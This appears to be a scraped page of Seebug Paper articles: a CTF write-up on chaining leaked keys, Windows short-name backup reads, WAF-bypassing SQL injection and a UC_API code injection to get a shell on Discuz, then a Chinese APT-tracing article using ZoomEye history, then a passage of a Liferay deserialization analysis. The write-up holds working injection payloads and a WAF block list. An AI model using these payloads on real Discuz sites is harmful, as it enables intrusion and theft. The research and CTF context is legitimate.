The difference from the default environment is that we have two additional conditions. 1. The backend of the web environment is Windows; 2. We get a config file which contains an insecure configuration(and authkey)
After getting these two conditions, we started the penetration.
The following may be mentioned repeatedly DZ vulnerability written by the author.
What is the use of authkey
12/ ------------------------- CONFIG SECURITY -------------------------- //$_config['security']['authkey'] = '87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E';authkey is the most important master key in the DZ security system. In the DZ Website, the key related is basically constructed with the authkey and saltkey which encrypt in the cookie.
After we have this authkey, we can calculate the formhash related to various operations of the DZ (all POST-related operations of DZ need to calculate the formhash)
With authkey, we can cooperate with the function in
source / include / misc / misc_emailcheck.php
to modify the email for any user, but the administrator cannot use the API to change the password.You can use the following script to calculate the formhash
123456$username = "ddog";$uid = 51;$saltkey = "SuPq5mmP";$config_authkey = "87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E";$authkey = md5($config_authkey.$saltkey);$formhash = substr(md5(substr($t, 0, -7).$username.$uid.$authkey."".""), 8, 8);When we found that authkey alone could not penetrate further, we turned our goal back to hint.
- The backend of the web environment is Windows
- dz has normal backup data, and there is an important key value in the backup data
Windows short file name security issue
In August 2019, dz had such a problem.
In the windows environment, there are many special methods for displaying file names related to wildcard types, among which are not only
<>"
This type of symbol can be used as a wildcard, and there is an ellipsis similar to~
. This problem is because the server, so cms cannot be repaired, so this has become a long-term problem .For specific details, please refer to the following article:
With these two articles, we can directly read the backup file of the database.
This backup file exists in
1/data/backup_xxxxxx/200509_xxxxxx-1.sqlWe can use
1http://xxxxx/data/backup~1/200507~2.sqlFrom the database file, we can find
UC_KEY (dz)
FindUC_KEY (dz)
in the authkey field ofpre_ucenter_applications
So far we have got two pieces of information:
1234567uckeyx9L1efE1ff17a4O7i158xcSbUfo1U2V7Lebef3g974YdG4w0E2LfI4s5R1p2t4m5authkey87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5EWhen we have these two keys, we can directly call any api in uc.php. The further use of the latter is also based on this.
Uc.php api use
Here we focus on the
/api/uc.php
.Calculate the code through
UC_KEY
, and then calculate the formhash throughauthkey
, we can call any function under the api, and there are several more important operations under this api.Let's focus on
updateapps
first. The special feature of this function is that DZ directly replacesUC_API
withpreg_replace
, which can lead to getshell in the background.Specific detailed analysis can be seen, this vulnerability originally came from @dawu, I mentioned this background getshell in my CSS speech:
- https://paper.seebug.org/1144/#getwebshell
- https://lorexxar.cn/2020/01/14/css-mysql-chain/#%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB-with-%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E6%B3%84%E9%9C%B2
According to the operation here, we can construct
$ code = 'time ='. Time (). '& Action = updateapps';
To trigger updateapps, you can modify the
UC_API
in the configuration, but in a previous version update, conditions were added here.1234if($post['UC_API']) {$UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']);unset($post['UC_API']);}Due to the filtering of single quotes, the uc api we injected cannot close the quotes, so we can’t complete the getshell with the api alone.
In other words, we must login to the background and use the background modification function to cooperate with getshell. So far, our goal of penetration has changed to how to login into the background.
How to login into the DZ background
First of all, we must understand that DZ's front-end and back-end account systems are separate. There are many functions including uc api, can only login to the front-end account.
In other words, the only way to enter the background of DZ is to know the background password of DZ, and this password cannot be changed by forget the password at the front desk, so we need to find a way to change the password.
There are two main methods here, which also correspond to two attack ideas: 1. Attack chain with error SQL injection 2. Use the database backup to restore and change the password
1. Attack chain with error SQL injection
Continue to study uc.php, I found an injection point in function renameuser.
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263function renameuser($get, $post) {global $_G;if(!API_RENAMEUSER) {return API_RETURN_FORBIDDEN;}$tables = array('common_block' => array('id' => 'uid', 'name' => 'username'),'common_invite' => array('id' => 'fuid', 'name' => 'fusername'),'common_member_verify_info' => array('id' => 'uid', 'name' => 'username'),'common_mytask' => array('id' => 'uid', 'name' => 'username'),'common_report' => array('id' => 'uid', 'name' => 'username'),'forum_thread' => array('id' => 'authorid', 'name' => 'author'),'forum_activityapply' => array('id' => 'uid', 'name' => 'username'),'forum_groupuser' => array('id' => 'uid', 'name' => 'username'),'forum_pollvoter' => array('id' => 'uid', 'name' => 'username'),'forum_post' => array('id' => 'authorid', 'name' => 'author'),'forum_postcomment' => array('id' => 'authorid', 'name' => 'author'),'forum_ratelog' => array('id' => 'uid', 'name' => 'username'),'home_album' => array('id' => 'uid', 'name' => 'username'),'home_blog' => array('id' => 'uid', 'name' => 'username'),'home_clickuser' => array('id' => 'uid', 'name' => 'username'),'home_docomment' => array('id' => 'uid', 'name' => 'username'),'home_doing' => array('id' => 'uid', 'name' => 'username'),'home_feed' => array('id' => 'uid', 'name' => 'username'),'home_feed_app' => array('id' => 'uid', 'name' => 'username'),'home_friend' => array('id' => 'fuid', 'name' => 'fusername'),'home_friend_request' => array('id' => 'fuid', 'name' => 'fusername'),'home_notification' => array('id' => 'authorid', 'name' => 'author'),'home_pic' => array('id' => 'uid', 'name' => 'username'),'home_poke' => array('id' => 'fromuid', 'name' => 'fromusername'),'home_share' => array('id' => 'uid', 'name' => 'username'),'home_show' => array('id' => 'uid', 'name' => 'username'),'home_specialuser' => array('id' => 'uid', 'name' => 'username'),'home_visitor' => array('id' => 'vuid', 'name' => 'vusername'),'portal_article_title' => array('id' => 'uid', 'name' => 'username'),'portal_comment' => array('id' => 'uid', 'name' => 'username'),'portal_topic' => array('id' => 'uid', 'name' => 'username'),'portal_topic_pic' => array('id' => 'uid', 'name' => 'username'),);if(!C::t('common_member')->update($get['uid'], array('username' => $get[newusername])) && isset($_G['setting']['membersplit'])){C::t('common_member_archive')->update($get['uid'], array('username' => $get[newusername]));}loadcache("posttableids");if($_G['cache']['posttableids']) {foreach($_G['cache']['posttableids'] AS $tableid) {$tables[getposttable($tableid)] = array('id' => 'authorid', 'name' => 'author');}}foreach($tables as $table => $conf) {DB::query("UPDATE ".DB::table($table)." SET `$conf[name]`='$get[newusername]' WHERE `$conf[id]`='$get[uid]'");}return API_RETURN_SUCCEED;}At the bottom of the function,
$get[newusername]
is directly spliced into the update statement.But unfortunately, the linked database uses mysqli by default, and does not support stack injection, so we can't directly execute the update statement here to update the password. Here we can only construct an error injection to obtain data.
1$code = 'time='.time().'&action=renameuser&uid=1&newusername=ddog\',name=(\'a\' or updatexml(1,concat(0x7e,(/*!00000select*/ substr(password,0) from pre_ucenter_members where uid = 1 limit 1)),0)),title=\'a';It is worth noting here that the injection waf that comes with DZ is quite strict, the core logic is in.
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697\source\class\discuz\discuz_database.php line 375if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false && strpos($sql, '@') === false && strpos($sql, '`') === false && strpos($sql, '"') === false) {$clean = preg_replace("/'(.+?)'/s", '', $sql);} else {$len = strlen($sql);$mark = $clean = '';for ($i = 0; $i < $len; $i++) {$str = $sql[$i];switch ($str) {case '`':if(!$mark) {$mark = '`';$clean .= $str;} elseif ($mark == '`') {$mark = '';}break;case '\'':if (!$mark) {$mark = '\'';$clean .= $str;} elseif ($mark == '\'') {$mark = '';}break;case '/':if (empty($mark) && $sql[$i + 1] == '*') {$mark = '/*';$clean .= $mark;$i++;} elseif ($mark == '/*' && $sql[$i - 1] == '*') {$mark = '';$clean .= '*';}break;case '#':if (empty($mark)) {$mark = $str;$clean .= $str;}break;case "\n":if ($mark == '#' || $mark == '--') {$mark = '';}break;case '-':if (empty($mark) && substr($sql, $i, 3) == '-- ') {$mark = '-- ';$clean .= $mark;}break;default:break;}$clean .= $mark ? '' : $str;}}if(strpos($clean, '@') !== false) {return '-3';}$clean = preg_replace("/[^a-z0-9_\-\(\)#\*\/\"]+/is", "", strtolower($clean));if (self::$config['afullnote']) {$clean = str_replace('/**/', '', $clean);}if (is_array(self::$config['dfunction'])) {foreach (self::$config['dfunction'] as $fun) {if (strpos($clean, $fun . '(') !== false)return '-1';}}if (is_array(self::$config['daction'])) {foreach (self::$config['daction'] as $action) {if (strpos($clean, $action) !== false)return '-3';}}if (self::$config['dlikehex'] && strpos($clean, 'like0x')) {return '-2';}if (is_array(self::$config['dnote'])) {foreach (self::$config['dnote'] as $note) {if (strpos($clean, $note) !== false)return '-4';}}and the configure in:
123456789101112131415161718$_config['security']['querysafe']['dfunction']['0'] = 'load_file';$_config['security']['querysafe']['dfunction']['1'] = 'hex';$_config['security']['querysafe']['dfunction']['2'] = 'substring';$_config['security']['querysafe']['dfunction']['3'] = 'if';$_config['security']['querysafe']['dfunction']['4'] = 'ord';$_config['security']['querysafe']['dfunction']['5'] = 'char';$_config['security']['querysafe']['daction']['0'] = '@';$_config['security']['querysafe']['daction']['1'] = 'intooutfile';$_config['security']['querysafe']['daction']['2'] = 'intodumpfile';$_config['security']['querysafe']['daction']['3'] = 'unionselect';$_config['security']['querysafe']['daction']['4'] = '(select';$_config['security']['querysafe']['daction']['5'] = 'unionall';$_config['security']['querysafe']['daction']['6'] = 'uniondistinct';$_config['security']['querysafe']['dnote']['0'] = '/*';$_config['security']['querysafe']['dnote']['1'] = '*/';$_config['security']['querysafe']['dnote']['2'] = '#';$_config['security']['querysafe']['dnote']['3'] = '--';$_config['security']['querysafe']['dnote']['4'] = '"';It open the
afullnote
in this challenge.123if (self::$config['afullnote']) {$clean = str_replace('/**/', '', $clean);}Since
/**/
is replaced with empty, we can directly add select to the middle, and then replaced with empty, we can bypass the waf here.When we got an error injection, we tried to read the file content and found that because mysql is
5.5.29
, we can directly read any file on the server.1$code = 'time='.time().'&action=renameuser&uid=1&newusername=ddog\',name=(\'a\' or updatexml(1,concat(0x7e,(/*!00000select*/ /*!00000load_file*/(\'c:/windows/win.ini\') limit 1)),0)),title=\'a';When the idea came here, there was a fault, because we couldn't know where the web path was, so we couldn't read the web file directly. Here I was deadlocked for a long time, and finally the password was weak after the first person made the question. I went straight into the background.
In the process of backtracking, I found that there is still a way. Although the path of the web is very flexible for windows, in fact, for integrated environments, it is generally installed under the c drive, and most people will not move. The server path. Common windows integrated environment mainly includes phpstudy and wamp, these two paths are respectively
12- /wamp64/www/- /phpstudy_pro/WWW/After finding the corresponding path, we can read
\uc_server\data\config.inc.php
to getUC_KEY
of uc server.After that we can directly call the one defined in
/uc_server/api/dpbak.php
1234567891011121314151617181920212223function sid_encode($username) {$ip = $this->onlineip;$agent = $_SERVER['HTTP_USER_AGENT'];$authkey = md5($ip.$agent.UC_KEY);$check = substr(md5($ip.$agent), 0, 8);return rawurlencode($this->authcode("$username\t$check", 'ENCODE', $authkey, 1800));}function sid_decode($sid) {$ip = $this->onlineip;$agent = $_SERVER['HTTP_USER_AGENT'];$authkey = md5($ip.$agent.UC_KEY);$s = $this->authcode(rawurldecode($sid), 'DECODE', $authkey, 1800);if(empty($s)) {return FALSE;}@list($username, $check) = explode("\t", $s);if($check == substr(md5($ip.$agent), 0, 8)) {return $username;} else {return FALSE;}}Construct the administrator's sid to bypass the authorization verification, in this way we can modify the password and login to the background.
2. Use the database backup to restore and change the password
In fact, when the last attack method followed the UC server's
UC_KEY
, it is not difficult to find that there are many operations about database backup and recovery in/uc_server/api/dbbak.php
, which is also my previous Not found.In fact, there is exactly the same code and function in
/api/dbbak.php
, and that api only needs DZ ’sUC_KEY
to operate, we can find a place to upload at the front desk, and then call backup to restore and overwrite the database , So that the administrator's password can be changed.Getshell in backend
After logging in, it is relatively simple, first
modify the uc api to
1http://127.0.0.1/uc_server');phpinfo();//then, use api to update uc api
Here return 11 means success
Finally
The whole question mainly surrounds the core key security system of DZ. In fact, except for the Windows environment, there are almost no other special conditions. In addition, the short file name problem is mainly on the server side. We can easily find the backup file. After finding the backup file, we can obtain the most important authkey and uc key directly from the database, and the subsequent infiltration process is logical.
From this article, you can also get a glimpse of the ways in which you can use it in different situations, and you can get more ideas with the original text.
REF
- https://paper.seebug.org/1144/
- https://lorexxar.cn/2020/01/14/css-mysql-chain/#%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB-with-%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E6%B3%84%E9%9C%B2
- https://lorexxar.cn/2017/08/31/dz-authkey/
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1205/
-
使用 ZoomEye 寻找 APT 攻击的蛛丝马迹
作者:Heige(a.k.a Superhei) of KnownSec 404 Team
时间:2020年5月25日
英文链接:https://paper.seebug.org/1220/今年一月发布的ZoomEye 2020里上线了ZoomEye的历史数据查询API接口,这个历史数据接口还是非常有价值的,这里就介绍我这几天做的一些尝试追踪APT的几个案例。
在开始之前首先你需要了解ZoomEye历史api接口的使用,参考文档:https://www.zoomeye.org/doc#history-ip-search 这里可以使用的是ZoomEye SDK https://github.com/knownsec/ZoomEye 另外需要强调说明下的是:ZoomEye线上的数据是覆盖更新的模式,也就是说第2次扫描如果没有扫描到数据就不会覆盖更新数据,ZoomEye上的数据会保留第1次扫描获取到的banner数据,这个机制在这种恶意攻击溯源里其实有着很好的场景契合点:恶意攻击比如Botnet、APT等攻击使用的下载服务器被发现后一般都是直接停用抛弃,当然也有一些是被黑的目标,也是很暴力的直接下线!所以很多的攻击现场很可能就被ZoomEye线上缓存。
当然在ZoomEye历史api里提供的数据,不管你覆盖不覆盖都可以查询出每次扫描得到的banner数据,但是目前提供的ZoomEye历史API只能通过IP去查询,而不能通过关键词匹配搜索,所以我们需要结合上面提到的ZoomEye线上缓存数据搜索定位配合使用。
案例一:Darkhotel APT
在前几天其实我在“黑科技”知识星球里提到了,只是需要修复一个“bug”:这次Darkhotel使用的IE 0day应该是CVE-2019-1367 而不是CVE-2020-0674(感谢廋肉丁@奇安信),当然这个“bug”不影响本文的主题。
从上图可以看出我们通过ZoomEye线上数据定位到了当时一个Darkhotel水坑攻击现场IP,我们使用ZoomEye SDK查询这个IP的历史记录:
1234567891011╭─heige@404Team ~╰─$pythonPython 2.7.16 (default, Mar 15 2019, 21:13:51)[GCC 4.2.1 Compatible Apple LLVM 10.0.0 (clang-1000.11.45.5)] on darwinType "help", "copyright", "credits" or "license" for more information.import zoomeyezm = zoomeye.ZoomEye(username="xxxxx", password="xxxx")zm.login()u'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpX...'data = zm.history_ip("202.x.x.x")22列举ZoomEye历史数据里收录这个IP数据的时间节点及对应端口服务
1234567891011121314151617181920212223242526...>>>for i in data['data']:... print(i['timestamp'],i['portinfo']['port'])...(u'2020-01-28T10:58:02', 80)(u'2020-01-05T18:33:17', 80)(u'2019-11-25T05:27:58', 80)(u'2019-11-02T16:10:40', 80)(u'2019-10-31T11:39:02', 80)(u'2019-10-06T05:24:44', 80)(u'2019-08-02T09:52:27', 80)(u'2019-07-27T19:22:11', 80)(u'2019-05-18T10:38:59', 8181)(u'2019-05-02T19:37:20', 8181)(u'2019-05-01T00:48:05', 8009)(u'2019-04-09T16:29:58', 8181)(u'2019-03-24T20:46:31', 8181)(u'2018-05-18T18:22:21', 137)(u'2018-02-22T20:50:01', 8181)(u'2017-03-13T03:11:39', 8181)(u'2017-03-12T16:43:54', 8181)(u'2017-02-25T09:56:28', 137)(u'2016-11-01T00:22:30', 137)(u'2015-12-30T22:53:17', 8181)(u'2015-03-13T20:17:45', 8080)(u'2015-03-13T19:33:15', 21)我们再看看被植入IE 0day的进行水坑攻击的时间节点及端口:
12345678910>>> for i in data['data']:... if "164.js" in i['raw_data']:... print(i['timestamp'],i['portinfo']['port'])...(u'2020-01-28T10:58:02', 80)(u'2020-01-05T18:33:17', 80)(u'2019-11-25T05:27:58', 80)(u'2019-11-02T16:10:40', 80)(u'2019-10-31T11:39:02', 80)(u'2019-10-06T05:24:44', 80)很显然这个水坑攻击的大致时间区间是从2019-10-06 05:24:44到2020-01-28 10:58:02,另外这个IP很显然不是攻击者购买的VPS之类,而是直接攻击了某个特定的网站来作为“水坑”进行攻击,可以确定的是这个IP网站早在2019-10-06之前就已经被入侵了!从这个水坑的网站性质可以基本推断Darkhotel这次攻击的主要目标就是访问这个网站的用户!
我们继续列举下在2019年这个IP开了哪些端口服务,从而帮助我们分析可能的入侵点:
123456789101112131415>>> for i in data['data']:... if "2019" in i['timestamp']:... print(i['timestamp'],i['portinfo']['port'],i['portinfo']['service'],i['portinfo']['product'])...(u'2019-11-25T05:27:58', 80, u'http', u'nginx')(u'2019-11-02T16:10:40', 80, u'http', u'nginx')(u'2019-10-31T11:39:02', 80, u'http', u'nginx')(u'2019-10-06T05:24:44', 80, u'http', u'nginx')(u'2019-08-02T09:52:27', 80, u'http', u'nginx')(u'2019-07-27T19:22:11', 80, u'http', u'nginx')(u'2019-05-18T10:38:59', 8181, u'http', u'Apache Tomcat/Coyote JSP engine')(u'2019-05-02T19:37:20', 8181, u'http', u'Apache Tomcat/Coyote JSP engine')(u'2019-05-01T00:48:05', 8009, u'ajp13', u'Apache Jserv')(u'2019-04-09T16:29:58', 8181, u'http', u'Apache httpd')(u'2019-03-24T20:46:31', 8181, u'http', u'Apache Tomcat/Coyote JSP engine')很典型的JSP运行环境,在2019年5月的时候开了8009端口,Tomcat后台管理弱口令等问题一直都是渗透常用手段~~
顺带提一句,其实这次的攻击还涉及了另外一个IP,因为这个IP相关端口banner因为更新被覆盖了,所以直接通过ZoomEye线上搜索是搜索不到的,不过如果你知道这个IP也可以利用ZoomEye历史数据API来查询这个IP的历史数据,这里就不详细展开了。
案例二:毒云藤(APT-C-01)
关于毒云藤(APT-C-01)的详细报告可以参考 https://ti.qianxin.com/uploads/2018/09/20/6f8ad451646c9eda1f75c5d31f39f668.pdf我们直接把关注点放在
“毒云藤组织使用的一个用于控制和分发攻击载荷的控制域名 http://updateinfo.servegame.org”
“然后从
hxxp://updateinfo.servegame.org/tiny1detvghrt.tmp
下载 payload”URL上,我们先尝试找下这个域名对应的IP,显然到现在这个时候还没有多大收获:
123╭─heige@404Team ~╰─$ping updateinfo.servegame.orgping: cannot resolve updateinfo.servegame.org: Unknown host在奇安信的报告里我们可以看到使用的下载服务器WEB服务目录可以遍历
所以我们应该可以直接尝试搜索那个文件名“tiny1detvghrt.tmp”,果然被我们找到了
这里我们可以基本确定了
updateinfo.servegame.org
对应的IP为165.227.220.223 那么我们开始老套路查询历史数据:1234567891011121314>>> data = zm.history_ip("165.227.220.223")>>> 9>>> for i in data['data']:... print(i['timestamp'],i['portinfo']['port'])...(u'2019-06-18T19:02:22', 22)(u'2018-09-02T08:13:58', 22)(u'2018-07-31T05:58:44', 22)(u'2018-05-20T00:55:48', 80)(u'2018-05-16T20:42:35', 22)(u'2018-04-08T07:53:00', 80)(u'2018-02-22T19:04:29', 22)(u'2017-11-21T19:09:14', 80)(u'2017-10-04T05:17:38', 80)继续看看这个
tiny1detvghrt.tmp
部署的时间区间:1234567>>> for i in data['data']:... if "tiny1detvghrt.tmp" in i['raw_data']:... print(i['timestamp'],i['portinfo']['port'])...(u'2018-05-20T00:55:48', 80)(u'2018-04-08T07:53:00', 80)(u'2017-11-21T19:09:14', 80)最起码可以确定从2017年11月底就已经开始部署攻击了,那么在这个时间节点之前还有一个时间节点2017-10-04 05:17:38,我们看看他的banner数据:
12345678910111213141516171819202122232425262728293031>>> for i in data['data']:... if "2017-10-04" in i['timestamp']:... print(i['raw_data'])...HTTP/1.1 200 OKDate: Tue, 03 Oct 2017 21:17:37 GMTServer: ApacheVary: Accept-EncodingContent-Length: 1757Connection: closeContent-Type: text/html;charset=UTF-8<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html><head><title>Index of /</title></head><body><h1>Index of /</h1><table><tr><th valign="top">< img src="/icons/blank.gif" alt="[ICO]"></th><th>< a href=" ">Name</ a></th><th>< a href="?C=M;O=A">Last modified</ a></th><th>< a href="?C=S;O=A">Size</ a></th><th>< a href="?C=D;O=A">Description</ a></th></tr><tr><th colspan="5"><hr></th></tr><tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="doajksdlfsadk.tmp">doajksdlfsadk.tmp</ a></td><td align="right">2017-09-15 08:21 </td><td align="right">4.9K</td><td> </td></tr><tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="doajksdlfsadk.tmp.1">doajksdlfsadk.tmp.1</ a></td><td align="right">2017-09-15 08:21 </td><td align="right">4.9K</td><td> </td></tr><tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="doajksdlrfadk.tmp">doajksdlrfadk.tmp</ a></td><td align="right">2017-09-27 06:36 </td><td align="right">4.9K</td><td> </td></tr><tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="dvhrksdlfsadk.tmp">dvhrksdlfsadk.tmp</ a></td><td align="right">2017-09-27 06:38 </td><td align="right">4.9K</td><td> </td></tr><tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="vfajksdlfsadk.tmp">vfajksdlfsadk.tmp</ a></td><td align="right">2017-09-27 06:37 </td><td align="right">4.9K</td><td> </td></tr><tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="wget-log">wget-log</ a></td><td align="right">2017-09-20 07:24 </td><td align="right">572 </td><td> </td></tr><tr><th colspan="5"><hr></th></tr></table></body></html>从这个banner数据里可以得出结论,这个跟第一个案例里目标明确的入侵后植入水坑不一样的是,这个应该是攻击者自主可控的服务器,从
doajksdlfsadk.tmp
这些文件命名方式及文件大小(都为4.9k)基本可以推断这个时间节点应该是攻击者进行攻击之前的实战演练!所以这个IP服务器一开始就是为了APT攻击做准备的,到被发现后就直接抛弃!总结
网络空间搜索引擎采用主动探测方式在网络攻击威胁追踪上有很大的应用空间,也体现了历史数据的价值,通过时间线最终能复盘攻击者的攻击手段、目的及流程。最后感谢所有支持ZoomEye的朋友们,ZoomEye作为国际领先的网络空间测绘搜索引擎,我们一直在努力!
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1219/
-
Liferay Portal Json Web Service Deserialization Vulnerability (CVE-2020-7961) Analysis
Author:Longofo@Knownsec 404 Team
Time: March 27, 2020
Chinese version:https://paper.seebug.org/1162/A vulnerability on Liferay Portal JSON Web Service RCE was previously posted on CODE WHITE. At first, my friends were dealing with this vulnerability, and I went to see it later. Liferay Portal uses Flexjson library for JSON Web Service processing in 6.1 and 6.2 versions, and replaced it with Jodd Json after version 7.
In summary, the vulnerability is: Liferay Portal provides Json Web Service service. For some endpoints that can be called, if a method provides Object parameter type, then we can construct an exploitable malicious class that conforms to Java Beans and pass the constructed json deserialization string, Liferay will automatically call the setter method of the malicious class and the default constructor when deserializing. However, there are still some details, and I feels quite interesting. In this article, the analysis of Liferay using JODD deserialization.
JODD Serialization And Deserialization
Refer to the Official User Manual, first look at the direct serialization and deserialization of JODD:
TestObject.java:
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152package com.longofo;import java.util.HashMap;public class TestObject {private String name;private Object object;private HashMap<String, String> hashMap;public TestObject() {System.out.println("TestObject default constractor call");}public String getName() {System.out.println("TestObject getName call");return name;}public void setName(String name) {System.out.println("TestObject setName call");this.name = name;}public Object getObject() {System.out.println("TestObject getObject call");return object;}public void setObject(Object object) {System.out.println("TestObject setObject call");this.object = object;}public HashMap<String, String> getHashMap() {System.out.println("TestObject getHashMap call");return hashMap;}public void setHashMap(HashMap<String, String> hashMap) {System.out.println("TestObject setHashMap call");this.hashMap = hashMap;}@Overridepublic String toString() {return "TestObject{" +"name='" + name + '\'' +", object=" + object +", hashMap=" + hashMap +'}';}}TestObject1.java
123456789101112131415161718192021package com.longofo;public class TestObject1 {private String jndiName;public TestObject1() {System.out.println("TestObject1 default constractor call");}public String getJndiName() {System.out.println("TestObject1 getJndiName call");return jndiName;}public void setJndiName(String jndiName) {System.out.println("TestObject1 setJndiName call");this.jndiName = jndiName;// Context context = new InitialContext();// context.lookup(jndiName);}}Test.java
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263package com.longofo;import jodd.json.JsonParser;import jodd.json.JsonSerializer;import java.util.HashMap;public class Test {public static void main(String[] args) {System.out.println("test common usage");test1Common();System.out.println();System.out.println();System.out.println("test unsecurity usage");test2Unsecurity();}public static void test1Common() {TestObject1 testObject1 = new TestObject1();testObject1.setJndiName("xxx");HashMap hashMap = new HashMap<String, String>();hashMap.put("aaa", "bbb");TestObject testObject = new TestObject();testObject.setName("ccc");testObject.setObject(testObject1);testObject.setHashMap(hashMap);JsonSerializer jsonSerializer = new JsonSerializer();String json = jsonSerializer.deep(true).serialize(testObject);System.out.println(json);System.out.println("----------------------------------------");JsonParser jsonParser = new JsonParser();TestObject dtestObject = jsonParser.map("object", TestObject1.class).parse(json, TestObject.class);System.out.println(dtestObject);}public static void test2Unsecurity() {TestObject1 testObject1 = new TestObject1();testObject1.setJndiName("xxx");HashMap hashMap = new HashMap<String, String>();hashMap.put("aaa", "bbb");TestObject testObject = new TestObject();testObject.setName("ccc");testObject.setObject(testObject1);testObject.setHashMap(hashMap);JsonSerializer jsonSerializer = new JsonSerializer();String json = jsonSerializer.setClassMetadataName("class").deep(true).serialize(testObject);System.out.println(json);System.out.println("----------------------------------------");JsonParser jsonParser = new JsonParser();TestObject dtestObject = jsonParser.setClassMetadataName("class").parse(json);System.out.println(dtestObject);}}Output:
123456789101112131415161718192021222324252627282930313233343536373839404142test common usageTestObject1 default constractor callTestObject1 setJndiName callTestObject default constractor callTestObject setName callTestObject setObject callTestObject setHashMap callTestObject getHashMap callTestObject getName callTestObject getObject callTestObject1 getJndiName call{"hashMap":{"aaa":"bbb"},"name":"ccc","object":{"jndiName":"xxx"}}----------------------------------------TestObject default constractor callTestObject setHashMap callTestObject setName callTestObject1 default constractor callTestObject1 setJndiName callTestObject setObject callTestObject{name='ccc', object=com.longofo.TestObject1@6fdb1f78, hashMap={aaa=bbb}}test unsecurity usageTestObject1 default constractor callTestObject1 setJndiName callTestObject default constractor callTestObject setName callTestObject setObject callTestObject setHashMap callTestObject getHashMap callTestObject getName callTestObject getObject callTestObject1 getJndiName call{"class":"com.longofo.TestObject","hashMap":{"aaa":"bbb"},"name":"ccc","object":{"class":"com.longofo.TestObject1","jndiName":"xxx"}}----------------------------------------TestObject1 default constractor callTestObject1 setJndiName callTestObject default constractor callTestObject setHashMap callTestObject setName callTestObject setObject callTestObject{name='ccc', object=com.longofo.TestObject1@65e579dc, hashMap={aaa=bbb}}In Test.java, two ways are used. First one is the commonly used way. The root type is specified when deserializing. The second official does not recommend this,security issues are exist. Assume up this application provides a place to receive JODD Json, and uses the second way, you can deserialize any type specified。The Liferay vulnerability is not caused by this reason, because it does not use
setClassMetadataName("class")
.Liferay's Packaging For JODD
Liferay does not directly use JODD for processing, but repackages some functions of JODD. The code is not long, so we will use JODD separately to analyze Liferay's packaging of JsonSerializer and JsonParser.
JSONSerializerImpl
Liferay's wrapper for JODD JsonSerializer is the
com.liferay.portal.json.JSONSerializerImpl
class:1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889public class JSONSerializerImpl implements JSONSerializer {private final JsonSerializer _jsonSerializer;//JODD's JsonSerializer was finally handed over to JODD's JsonSerializer for processing, but it wrapped some additional settingspublic JSONSerializerImpl() {if (JavaDetector.isIBM()) {//Judging the JDKSystemUtil.disableUnsafeUsage();//Related to the use of the Unsafe class}this._jsonSerializer = new JsonSerializer();}public JSONSerializerImpl exclude(String... fields) {this._jsonSerializer.exclude(fields);//Exclude a field from being serializedreturn this;}public JSONSerializerImpl include(String... fields) {this._jsonSerializer.include(fields);//Include a field to serializereturn this;}public String serialize(Object target) {return this._jsonSerializer.serialize(target);//Call JODD's JsonSerializer for serialization}public String serializeDeep(Object target) {JsonSerializer jsonSerializer = this._jsonSerializer.deep(true);//After setting deep, you can serialize any type of field, including types such as collectionsreturn jsonSerializer.serialize(target);}public JSONSerializerImpl transform(JSONTransformer jsonTransformer, Class<?> type) {//Setting the converter is similar to setting the global converter below, but you can pass in a custom converter here (for example, the data field of a class is formatted as 03/27/2020, and it is converted to 2020-03- when serialized 27)TypeJsonSerializer<?> typeJsonSerializer = null;if (jsonTransformer instanceof TypeJsonSerializer) {typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;} else {typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);}this._jsonSerializer.use(type, (TypeJsonSerializer)typeJsonSerializer);return this;}public JSONSerializerImpl transform(JSONTransformer jsonTransformer, String field) {TypeJsonSerializer<?> typeJsonSerializer = null;if (jsonTransformer instanceof TypeJsonSerializer) {typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;} else {typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);}this._jsonSerializer.use(field, (TypeJsonSerializer)typeJsonSerializer);return this;}static {//Global registration. For all Array, Object, and Long data, they are converted separately during serialization.JoddJson.defaultSerializers.register(JSONArray.class, new JSONSerializerImpl.JSONArrayTypeJSONSerializer());JoddJson.defaultSerializers.register(JSONObject.class, new JSONSerializerImpl.JSONObjectTypeJSONSerializer());JoddJson.defaultSerializers.register(Long.TYPE, new JSONSerializerImpl.LongToStringTypeJSONSerializer());JoddJson.defaultSerializers.register(Long.class, new JSONSerializerImpl.LongToStringTypeJSONSerializer());}private static class LongToStringTypeJSONSerializer implements TypeJsonSerializer<Long> {private LongToStringTypeJSONSerializer() {}public void serialize(JsonContext jsonContext, Long value) {jsonContext.writeString(String.valueOf(value));}}private static class JSONObjectTypeJSONSerializer implements TypeJsonSerializer<JSONObject> {private JSONObjectTypeJSONSerializer() {}public void serialize(JsonContext jsonContext, JSONObject 